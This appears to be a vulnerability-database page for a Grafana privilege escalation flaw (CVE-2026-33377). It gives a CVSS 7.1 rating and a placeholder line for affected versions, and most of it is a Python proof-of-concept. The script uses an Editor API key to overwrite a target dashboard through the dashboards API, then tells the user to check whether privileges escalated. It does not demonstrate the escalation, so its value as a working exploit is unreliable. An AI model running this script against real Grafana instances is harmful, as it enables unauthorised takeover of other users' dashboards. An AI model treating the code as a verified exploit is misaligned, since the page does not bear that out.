An Editor can overwrite a dashboard not owned by them to acquire admin on that specific dashboard. The user must have write access to the dashboard to escalate privilege.
CVSS Details
CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
Configurations (Affected Products)
No configuration data available.
Grafana < 版本号请参考官方安全公告
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import json
# CVE-2026-33377 PoC: Grafana Privilege Escalation
# Target: Grafana Instance
# Pre-condition: Attacker has Editor role and write access to a dashboard.
TARGET_URL = "http://localhost:3000"
API_KEY = "YOUR_EDITOR_API_KEY" # Editor role API key
DASHBOARD_UID = "target_dashboard_uid" # The dashboard to overwrite
# Payload to update dashboard and potentially escalate privileges
payload = {
"dashboard": {
"id": None,
"uid": DASHBOARD_UID,
"title": "Overwritten Dashboard",
"tags": ["poc"],
"timezone": "browser",
"schemaVersion": 16,
"version": 0
},
"overwrite": True,
"message": "Updating dashboard via PoC"
}
headers = {
"Authorization": f"Bearer {API_KEY}",
"Content-Type": "application/json"
}
try:
response = requests.post(
f"{TARGET_URL}/api/dashboards/db",
headers=headers,
data=json.dumps(payload)
)
if response.status_code == 200:
print("[+] Dashboard overwritten successfully. Check if privileges escalated.")
else:
print(f"[-] Failed: {response.status_code} - {response.text}")
except Exception as e:
print(f"Error: {e}")